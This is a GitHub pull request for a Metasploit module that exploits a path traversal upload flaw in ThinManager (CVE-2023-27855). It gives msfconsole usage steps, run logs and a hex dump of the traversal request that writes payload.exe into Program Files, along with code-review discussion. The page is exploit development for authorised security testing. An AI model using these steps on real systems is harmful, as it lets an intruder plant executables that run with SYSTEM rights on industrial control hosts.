Skip to content

ThinManager Path Traversal Upload (CVE-2023-27855) Module #20138

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 3 commits into
base: master
Choose a base branch
from

Conversation

h4x-x0r
Copy link
Contributor

@h4x-x0r h4x-x0r commented May 6, 2025

This module exploits a path traversal vulnerability in ThinManager <= v13.0.1 (CVE-2023-27855) to upload an arbitrary file to the target system.

The affected service listens by default on TCP port 2031 and runs in the context of NT AUTHORITY\SYSTEM.

Verification Steps

  1. The software can be obtained from the vendor.
  2. Start msfconsole
  3. msf6 >use auxiliary/gather/thinmanager_traversal_upload
  4. msf6 auxiliary(gather/thinmanager_traversal_upload) > set LFILE <local file location>
  5. msf6 auxiliary(gather/thinmanager_traversal_upload) > set RFILE <remote file location>
  6. msf6 auxiliary(gather/thinmanager_traversal_upload) > run

Example output:

msf6 auxiliary(gather/thinmanager_traversal_upload) > run
[*] Running module against 192.168.137.227

[*] 192.168.137.227:2031 - Running automatic check ("set AutoCheck false" to disable)
[!] 192.168.137.227:2031 - The service is running, but could not be validated.
[*] 192.168.137.227:2031 - Sending handshake...
[*] 192.168.137.227:2031 - Received handshake response.
[*] 192.168.137.227:2031 - Read 27648 bytes from /tmp/payload.exe
[*] 192.168.137.227:2031 - Uploading /tmp/payload.exe as /Program Files/Rockwell Software/ThinManager/payload.exe on the remote host...
[*] 192.168.137.227:2031 - Upload request length: 27752 bytes
[!] 192.168.137.227:2031 - No response received after upload.
[+] 192.168.137.227:2031 - Upload process completed. Check if '/Program Files/Rockwell Software/ThinManager/payload.exe' exists on the target.
[*] Auxiliary module execution completed

Successfully tested on

  • ThinManager v13.0.1 on Windows 22H2
  • ThinManager v13.0.0 on Windows 22H2
  • ThinManager v12.1.5 on Windows 22H2
  • ThinManager v10.0.2 on Windows 22H2

@h4x-x0r h4x-x0r marked this pull request as ready for review May 7, 2025 17:06
begin
connect
rescue Rex::ConnectionTimeout => e
fail_with(Failure::Unreachable, "Connection to #{datastore['RHOSTS']}:#{datastore['RPORT']} failed: #{e.message}")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

check methods should exclusively return checkcodes and not raise exceptions/fail_with


register_options(
[
OptString.new('LFILE', [false, 'The local file to transfer to the remote system.', '/tmp/payload.exe']),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
OptString.new('LFILE', [false, 'The local file to transfer to the remote system.', '/tmp/payload.exe']),
OptPath.new('LFILE', [false, 'The local file to transfer to the remote system.', '/tmp/payload.exe']),

res = sock.get_once(4096, 5)
expected_header = "\x00\x04\x00\x01\x00\x00\x00\x08".b

if res && res.start_with?(expected_header)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
if res && res.start_with?(expected_header)
if res&.start_with?(expected_header)

return Exploit::CheckCode::Safe
else
disconnect
returnExploit::CheckCode::Unknown('No handshake response received.')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
returnExploit::CheckCode::Unknown('No handshake response received.')
return Exploit::CheckCode::Unknown('No handshake response received.')

include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
prepend Msf::Exploit::Remote::AutoCheck
CheckCode = Exploit::CheckCode
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is this necessary or can we just use Exploit::CheckCode throughout?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I can change it to Exploit::CheckCode instead. I think in one of my past modules it was recommended to use CheckCode = Exploit::CheckCode, that's why I had used it instead. Either way is fine for me.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It looks like you're only using the Checkcode once without using Exploit::Checkcode.
It would make sense to me to have Exploit::Checkcode if code complexity made the likelihood of returning a non-Exploit::Checkcode object from the check method possible by accident, but I don't think we're looking at that level of complexity in the check method, yet.

print_status('Received handshake response.')
vprint_status(Rex::Text.to_hex_dump(res))
else
print_error('No handshake response received.')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We've noticed that this module has a lot of overlap with your other modules particularly with the handshake/sending/receiving of data, do you think it's worth putting some time into consolidating that into a library for use by all of these modules/any future modules targeting this software?

@bwatters-r7 bwatters-r7 self-assigned this May 8, 2025
@bwatters-r7
Copy link
Contributor

Is this supposed to be auxiliary/admin/networking/thinmanager_traversal_upload.rb or auxiliary/gather/thinmanager_traversal_upload?

@bwatters-r7
Copy link
Contributor

msf6 auxiliary(admin/networking/thinmanager_traversal_upload) > show options

Module options (auxiliary/admin/networking/thinmanager_traversal_upload):

   Name    Current Setting                         Required  Description
   ----    ---------------                         --------  -----------
   DEPTH   7                                       yes       The traversal depth. The FILE path will be prepended with ../ * DEPTH
   LFILE   /tmp/payload.exe                        no        The local file to transfer to the remote system.
   RFILE   /Program Files/Rockwell Software/ThinM  no        The file path to store the file on the remote system.
           anager/payload.exe
   RHOSTS  10.5.132.142                            yes       The target host(s), see https://docs.metasploit.com/docs/using-metaspl
                                                             oit/basics/using-metasploit.html
   RPORT   2031                                    yes       The target port (TCP)


View the full module info with the info, or info -d command.

msf6 auxiliary(admin/networking/thinmanager_traversal_upload) > set verbose true
verbose => true
msf6 auxiliary(admin/networking/thinmanager_traversal_upload) > set LFILE /tmp/payload.test
LFILE => /tmp/payload.test
msf6 auxiliary(admin/networking/thinmanager_traversal_upload) > run
[*] Running module against 10.5.132.142
[*] 10.5.132.142:2031 - Running automatic check ("set AutoCheck false" to disable)
[*] 10.5.132.142:2031 - Sending handshake...
[*] 10.5.132.142:2031 - 00 01 00 00    |....|


[*] 10.5.132.142:2031 - Received handshake response.
[*] 10.5.132.142:2031 - 00 04 00 01 00 00 00 08 00 00 80 de c7 5b 8a 3f    |.............[.?|


[!] 10.5.132.142:2031 - The service is running, but could not be validated.
[*] 10.5.132.142:2031 - Sending handshake...
[*] 10.5.132.142:2031 - 00 01 00 00    |....|


[*] 10.5.132.142:2031 - Received handshake response.
[*] 10.5.132.142:2031 - 00 04 00 01 00 00 00 08 00 00 80 de c7 5b 8a 3f    |.............[.?|


[*] 10.5.132.142:2031 - Read 0 bytes from /tmp/payload.test
[*] 10.5.132.142:2031 - Uploading /tmp/payload.test as /Program Files/Rockwell Software/ThinManager/payload.exe on the remote host...
[*] 10.5.132.142:2031 - Upload request length: 113 bytes
[*] 10.5.132.142:2031 - Upload request:
00 07 00 01 00 00 00 69 00 00 00 aa 2e 2e 2f 2e    |.......i....../.|
2e 2f 2e 2e 2f 2e 2e 2f 2e 2e 2f 2e 2e 2f 2e 2e    |./../../../../..|
2f 2f 50 72 6f 67 72 61 6d 20 46 69 6c 65 73 2f    |//Program Files/|
52 6f 63 6b 77 65 6c 6c 20 53 6f 66 74 77 61 72    |Rockwell Softwar|
65 2f 54 68 69 6e 4d 61 6e 61 67 65 72 2f 70 61    |e/ThinManager/pa|
79 6c 6f 61 64 2e 65 78 65 00 66 69 6c 65 5f 74    |yload.exe.file_t|
79 70 65 00 75 6e 6b 5f 73 74 72 31 00 00 00 00    |ype.unk_str1....|
00                                                 |.|


[!] 10.5.132.142:2031 - No response received after upload.
[+] 10.5.132.142:2031 - Upload process completed. Check if '/Program Files/Rockwell Software/ThinManager/payload.exe' exists on the target.
[*] Auxiliary module execution completed

@bwatters-r7
Copy link
Contributor

For future me, I'm using Win10_2004_2551 for testing.

@h4x-x0r
Copy link
Contributor Author

h4x-x0r commented May 8, 2025

Is this supposed to be auxiliary/admin/networking/thinmanager_traversal_upload.rb or auxiliary/gather/thinmanager_traversal_upload?

I had it initially in auxiliary/gather/thinmanager_traversal_upload, but since we are not gathering anyting, I thought that auxiliary/admin/networking/thinmanager_traversal_upload.rb fits better. Please let me know in case a different location fits better.

vprint_status('Received handshake response.')
vprint_status(Rex::Text.to_hex_dump(res))
disconnect
return CheckCode::Detected
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think this is the only place you're using CheckCode without using Exploit::CheckCode

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

3 participants